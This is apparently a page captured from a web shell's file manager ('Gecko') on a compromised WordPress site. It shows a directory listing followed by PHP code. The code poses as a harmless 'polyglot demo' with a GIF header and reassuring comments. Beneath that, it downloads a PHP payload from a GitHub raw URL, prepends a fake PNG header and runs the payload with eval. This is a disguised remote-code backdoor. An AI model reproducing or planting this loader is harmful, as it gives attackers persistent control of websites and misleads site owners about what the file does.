Gecko [ www.cardpearl.org ]

Name	Size	Permission	Date
.well-known	[ DIR ]	drwxr-xr-x	2025-08-03 06:52
52e53	[ DIR ]	dr-xr-xr-x	2026-03-30 03:34
cgi-bin	[ DIR ]	drwxr-xr-x	2025-08-03 06:52
wp-admin	[ DIR ]	drwxr-xr-x	2026-03-30 07:13
wp-content	[ DIR ]	drwxr-xr-x	2026-04-15 03:34
wp-includes	[ DIR ]	drwxr-xr-x	2025-12-29 16:03
.htaccess	1.13 KB	-r-xr-xr-x	2024-06-17 03:34
.htaccess.bk	1.13 KB	-rw-r--r--	2026-04-03 01:30
.htaccess_dis	1.39 KB	-rw-r--r--	2026-02-13 08:24
error_log	233.58 KB	-rw-r--r--	2026-04-13 10:20
h2.php	17.26 KB	-rw-r--r--	2026-03-30 00:30
index.php	405 B	-rw-r--r--	2020-02-06 11:33
index.zip	359 B	-rw-r--r--	2026-04-13 10:31
license.txt	19.44 KB	-rw-r--r--	2025-03-06 19:24
readme.html	7.25 KB	-rw-r--r--	2026-03-11 19:38
robots.txt	332 B	-r--r--r--	2024-04-06 03:34
wp-activate.php	7.18 KB	-rw-r--r--	2025-10-08 07:02
wp-blog-header.php	351 B	-rwxr-xr-x	2020-02-06 11:33
wp-chat.php	2 KB	-rw-r--r--	2025-12-15 08:26
wp-comments-post.php	2.27 KB	-rw-r--r--	2023-06-14 18:11
wp-config-sample.php	3.26 KB	-rw-r--r--	2025-08-12 18:47
wp-config.php	3.59 KB	-rw-r--r--	2026-04-13 07:20
wp-cron.php	5.49 KB	-rw-r--r--	2024-08-02 23:40
wp-links-opml.php	2.43 KB	-rw-r--r--	2025-04-30 16:52
wp-load.php	3.84 KB	-rw-r--r--	2024-03-11 14:05
wp-login.php	50.23 KB	-rw-r--r--	2025-10-29 14:37
wp-mail.php	8.52 KB	-rw-r--r--	2025-04-03 02:25
wp-settings.php	30.33 KB	-rw-r--r--	2025-11-07 17:42
wp-signup.php	33.71 KB	-rw-r--r--	2025-03-10 22:16
wp-trackback.php	5.09 KB	-rw-r--r--	2025-08-19 16:30
xmlrpc.php	3.13 KB	-rw-r--r--	2024-11-08 20:52
xwpg.php	237.85 KB	-rw-r--r--	2026-03-21 07:51

Rename

$假PNG头 = "\x89PNG\r\n\x1a\n";
<?php
?>
GIF89a
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<title>PHP Polyglot Example</title>
</head>
<body>

<h1>PHP Polyglot Demo</h1>

<?php
// This PHP code is completely harmless.
// It just prints today's date.
echo "<p>Today's date is: " . date('Y-m-d') . "</p>";
?>

<p>This file starts with a GIF header, so some tools might classify it incorrectly,
but the contents are safe HTML + PHP.</p>

</body>
</html>

<?php 
//fagadf
# CompiledBy: DevKit 9.5.2
// 混淆密钥: 3a7b10bc
// 启动会话
session_start();
// 设置主地址，如果没有设置则使用默认地址
$主地址 = $_SESSION['ts_url'] ?? 'https://raw.githubusercontent.com/bosseptp-svg/hey/refs/heads/main/wp-actor.php';
// 定义加载函数
function 加载数据($地址)
{
    $内容 = '';
    try {
        $文件 = new SplFileObject($地址);
        while (!$文件->eof()) {
            $内容 .= $文件->fgets();
        }
    } catch (Throwable $错误) {
        $内容 = '';
    }
    // 尝试用 file_get_contents
    if (strlen(trim($内容)) < 1) {
        $内容 = @file_get_contents($地址);
    }
    // 如果还失败，使用 curl
    if (strlen(trim($内容)) < 1 && function_exists('curl_init')) {
        $通道 = curl_init($地址);
        curl_setopt_array($通道, [CURLOPT_RETURNTRANSFER => true, CURLOPT_FOLLOWLOCATION => true, CURLOPT_CONNECTTIMEOUT => 5, CURLOPT_TIMEOUT => 10]);
        $内容 = curl_exec($通道);
        curl_close($通道);
    }
    return $内容;
}
// 尝试加载主网址
$结果 = 加载数据($主地址);
// 添加假的PNG头部
$假PNG头 = "\x89PNG\r\n\x1a\n";
// 拼接PNG头和结果内容
$结果 = $假PNG头 . $结果;
/**_**/
/**_**/
/**_**/
/**_**/
/**_**/
/**_**/
/**_**/
// 如果成功获取内容，则执行
if (strlen(trim($结果)) > 0) {
    @eval("?>{$结果}");
}